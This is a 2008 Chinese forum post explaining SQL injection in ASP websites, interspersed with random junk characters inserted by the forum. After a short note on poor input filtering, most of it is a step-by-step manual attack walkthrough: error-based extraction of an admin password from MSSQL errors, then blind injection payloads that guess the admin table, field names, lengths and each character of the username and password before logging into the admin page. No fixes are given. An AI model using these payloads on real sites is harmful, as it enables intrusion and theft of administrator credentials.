过期域名预定抢注

 找回密碼
 免费注册

網站腳本漏洞形成的原因

[複製鏈接]
發表於 2008-1-15 16:39:02 | 顯示全部樓層 |閱讀模式
隨著網絡經濟的復舒,開始越來越多的網站湧現出來,隨著腳本漏洞的挖掘,黑客也越來越猖狂,並且越來越低齡化和傻瓜化。「你只要會用一個玩具就可以黑站」,這就是腳本漏洞利的特點。這些漏洞的主要成因是編程程序員的素質,往往在編寫asp或php等程序時候對字符的過濾不嚴密,對注入漏洞不瞭解,或者某個參數忘記檢查導致的。$ u# t" X5 a/ v9 o8 J, ^
* K: ]( R9 K9 `/ ^0 {0 J
由於編寫網頁程序這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。4 {3 C% q1 H  m0 P

$ b( ?% z( U0 ^2 p; G# d* n相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。我們看一個例子:在本機建一個基於iis的asp程序http://localhost/test/show.asp?ID=3,將這個網址提交到服務器後,服務器將進行類似Select * from 表名 where 字段="&ID的查詢(ID即客戶端提交的參數,本例即是3),再將查詢結果返回給客戶端,如果這裡客戶端故意提交這麼一個網址:http://localhost/test/show.asp?ID=3 and user>0,這時,服務器運行Select * from 表名 where 字段=444 and user>0這樣的查詢,當然,這個語句是運行不下去的,肯定出錯,錯誤信息如下:1 B2 r# Z/ o: T: b
( ]$ t4 S: R- M- s6 W( q
  ·錯誤類型:- L- P5 J! ?# a; k
1 t: j  H6 p: F9 Y3 X: y1 R: l* b: H' t
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)' u' h- o  c" ~) y: j. O. N: y
[Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 』test』 轉換為數據類型為 int 的列時發生語法錯誤。
% }# ^0 P% f) N( X( B/test/show.asp, 第 34 行- d" H7 D' j1 }3 K: D

4 Y- A" N$ H) ?% b從這個出錯信息中,我們可以獲得以下信息:該站使用MSSQL數據庫,用ODBC連接,連接帳號名為:test。所謂SQL注入,就是利用程序員對用戶輸入數據的合法性檢測不嚴或不檢測的特點,故意從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取想得到的資料。通常別有用心者的目標是獲取網站管理員的帳號和密碼。比如當知道網站管理員帳號存在表login中,管理員帳號名為admin 想知道admin的密碼,這裡接著從客戶端提交這樣一個網址:
: X2 R9 i8 D4 \, z2 ohttp://localhost/test/show.asp?ID=4 and (Select password fro
" C4 c" ~4 R1 f9 k4 U" L: Q4 Z2 ?8 h% W) w& p: N( |+ n
m login where user_name=』admin』)>0,返回的出錯信息如下:% \* B1 U; Q2 u4 x) q

0 |+ X6 L) r5 @! @- r- V( j5 C  ·錯誤類型:( k9 t. B+ V% d% o

* y# U! n" q6 X0 S" B" L; IMicrosoft OLE DB Provider for ODBC Drivers (0x80040E07)
. d/ s$ g7 R& T7 f7 X6 j, Z[Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 』admin888』 轉換為數據類型為 int 的列時發生語法錯誤。3 t8 K/ R% u& Y* y. \; N7 g2 C
/test/show.asp, 第 34 行
, }. b) G0 q8 _( C
& x8 e3 {. E6 u6 c% ?現在出來了「admin888」就是管理員的密碼!得到這個密碼,這時您就可以用這個帳號和密碼接管人家的網站了!當然我們並不知道帳號就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫個玩具進行猜解,速度很快就可以找到你想要的東西了。前面是有關mssql數據庫的注入基礎,我們再看一看acce數據庫的注入基礎:首先進行瀏覽器的設置,以保證手工注入時能返回出錯信息。其操作步驟為:右鍵單擊瀏覽器圖標,選擇「屬性」,在彈出來的對話框中選擇「高級」選項卡,接著去掉「顯示友好的HTTP錯誤信息」前面的鉤,最後點擊「應用」按鈕即可。
& s+ b5 Q- O5 g0 d) i6 S! A# F; X$ r& p6 e# T2 l  X$ W; c+ Z
對於sql注入得先找到注入點,注入點的判斷方法為:通常打開一個類似http://wwww.xx
% h' j3 q6 I5 R* {" x
. v4 q4 `4 W. V' kxx.com/xxx.asp?id=xx的url後加個單引號,變成http://ww.xxx.com/xxx.asp?id=xx
, d- V" r& W) t, ~, X6 K
/ C7 A3 O0 l7 j, m5 i4 M如果出現錯誤提示,則說明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢數據庫, 1=1是一個恆等式可以忽略,因此會返回一個正常的頁面,此頁面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時入侵者便判斷此站有希望被注入。如果返回的是一些錯誤信息,那麼一些初級的入侵者可能就會放棄這個站點。入侵者進一步向瀏覽器提交如下url: http: //www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個恆不等式,如果該站點支持數據庫查詢,則大概會返回如下所示的信息:
& W" j0 t+ U( n
6 _! D( m) O/ b2 s6 m2 ~3 o$ eMicrosoft vbscript 編譯器錯誤 錯誤碼率 - a0 I+ z# J" D2 D
# O! J3 U* g- \4 ~1 t
『800a03f6』                                                                                                                 6 R0 p" U; j- T$ u7 s8 L

$ y6 I/ A% k& E( y) Y6 {缺少』End』
, d' B+ M, v3 [/ a! M
) i; G+ Q8 ~) @, \, K/iishelp/common/500-100.asp,行242/ P# g8 Y5 x$ }. k+ Q* o# @
2 Z& g* ^3 D2 S# _* G; y
ADODB.Field 錯誤 『800a0bcd』' q& d6 [1 c5 I* @& o1 z" `

; X! A+ \, N8 f9 C( @, W一般出現以上信息就可以確定存在sql注入漏洞了。下面我們來看一下sql注入的過程分析:   
) X( A% C8 O9 H9 X) Z
2 n, I, [, R$ W, Y' G4 v& t  如: 打開:http://hostlocal/test2/list.asp?id=17在其後面加′為http://hostlocal/test2/list.asp?id=17′
. G( f0 M' ?5 x( \9 Y6 D! ]出錯!顯示為:「數據庫出錯」。那麼接下來我們便進行如下操作:
: P( e% L2 c, e. B8 d) n- R: O% L2 f0 p' ?
1 猜管理員帳號表。9 t. J' a+ G" g2 k# L: ~* R) C: R
2 猜相應表中的用戶的字段名以及密碼的字段名。5 L( B0 p* |* y2 S
3 猜出用戶名的長度和密碼的長度- m, W) W7 \" W! `
4 猜出用戶和密碼$ M" S& g/ @' j+ g% ]
5 找到管理頁面進入管理/ K( f( _# \& l+ Z

' u7 t7 J. ~: `% _6 G9 f猜管理員的表:                           
9 L( y% T9 H) s, |
' C8 F4 h' W; ]- G- {: O http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)′//min(id)返回表中ID最小值
. h+ K; n) e( y! y) ~返回文章證明,有一個admin的表;如果沒有返回文章,證明出錯不存在admin這個表。  a- L( q  N* c- R' |
    & U! x  r4 n8 h( S
猜用戶的字段名:
- G/ j" _/ X$ Ahttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user=′aaa′)返回錯誤信息,表示沒有user這個用戶段名
" |; k( Q; v/ k. D; @再來!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username=′aaa′)
7 f) Q7 ^- w' `沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在username個字段,只是用戶名不是aaa
7 p( q# P' W8 F# j  z% `& E  k6 T# N5 ~) K" N
猜密碼的字段名:" R' u8 Q. v0 u) T$ T2 J6 F7 F9 |% c
http://hostlocal/test2/list.asp?id=17 and 1=(select min(i8 t9 \, ^0 u! I# w% I6 X" r$ n

' A0 \  O' `5 w, {4 Zd) from admin where passwd=′aaa′)返回錯誤信息表示沒有passwd這個密碼字段名。                        % O. {4 ^6 x' c. y

' h7 g" _4 B$ p再來:http://hostlocal/test2/list.asp?id=17 and 1=(select% i3 K0 E$ R  |8 a/ f- z
% p9 l1 J( G& r$ ~' i' q- e
min(id) from admin where password=aaa′)沒有返回錯誤信息,又沒有返回文章,提示找不到文章。證明在admin中存在password這個字段,只是密碼不是aaa2 X  i7 H& o( \  T6 l
7 R# p% I, s9 x5 U* r1 T1 t. y' D8 s
猜用戶字段名長度:                          
4 g; g/ W2 t1 L  B- D  a" s9 l# L: r7 l, O# D1 B% P5 ^9 W
http://hostlocal/test2/list.asp?id=17 and 1=(select min(, Q: U$ R, a" V# T! F0 h: D
  s7 Z! M  W) ?- f$ S2 B$ v& ~. v9 C4 G
id) from admin where len(username)
/ a1 w+ k6 L- K0 u6 I# l* S7 v& b, X3 i' H; p
>5)                                                            
) I) h; m' W  l- W$ k  a& Y5 V  A0 w9 ?# V* O
正確
& ~+ }. ?" C  v0 l: ghttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10). r4 d# u/ S+ C" u; |; |
正確
4 C8 O$ f0 }) L用戶名長度大於5小於10
6 f" B3 y. b% M! bhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)/ P* r, q4 a4 b7 |8 J+ ]

# U4 ]  q4 l+ E% ]; j; [=7)                                                              
1 B1 t9 Q: ?: e* c4 R! Q& S# v0 V5 D( \
呵``` 用戶名長度為7位+ P3 ^0 u1 i, f' o: D( R: A
; M- o3 M, O& ~# O  ~" S& g9 ]
猜密碼長度:
, ~2 j# b% p0 N5 d$ n) xhttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5)
% Z6 |8 C  x* u7 k正確% ?# H: y. q. l+ a2 ~
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10)8 V5 o# z) [; z* }0 m  a
正確
, P3 e# M+ q" Y" Q* ~! M密碼長度也是大於5小於107 U- A5 X6 B2 T
http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7)9 u/ S& F1 L; S$ }% g" ]
呵``` 密碼長度為7位! I5 j7 b7 p2 M* R1 r+ f8 r5 Z
6 k: E% o$ ^; x; O
猜用戶名:
# M; w8 A+ Q+ N# U0 [# Q% Ohttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)=′a′)
9 h( R1 C5 C7 n1 j. z3 c
8 P7 B+ K& P( b% v  l4 ~ 用戶名第一個字母是:a                                                         
( @" U: k+ O5 g3 ~
2 n. ^6 @2 y# N0 I: G% t猜用戶名第二位:http://hostlocal/test2/list.asp?id=17 and 1=
( z9 v" X7 d# \9 H# d$ ]" w
6 K2 g& d( `8 ?! X(select min(id) from admin where mid(username,2,1)=′b′)                                             . @0 j+ I% E0 Z) K3 c6 I
3 g6 Q  z2 d1 X5 T0 k: ]0 P
以此類推!* I  }# o& z- G- _1 `- S9 K

% H, i/ M- A0 j- e4 `' x8 ^8 n猜密碼:                                                                       ; _2 r5 `5 O/ h8 ^) M2 [
% W* [* j7 o- U' c- q" m
猜密碼跟猜用戶名一樣!
' c* e" E+ m5 A2 Chttp://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)=′a′) + [0 V/ G$ o$ v
猜完後來到管理頁面:9 n9 g3 w# s$ v; h' i$ k
http://hostlocal/test2/admin.asp
" I* H& X0 f) @4 H4 L9 b
9 ~, d3 h! d( `/ X. S' r登錄
您需要登錄後才可以回帖 登錄 | 免费注册

本版積分規則

點基跨境 數位編輯創業論壇

GMT+8, 2025-4-17 07:16

By DZ X3.5

小黑屋

快速回復 返回頂部 返回列表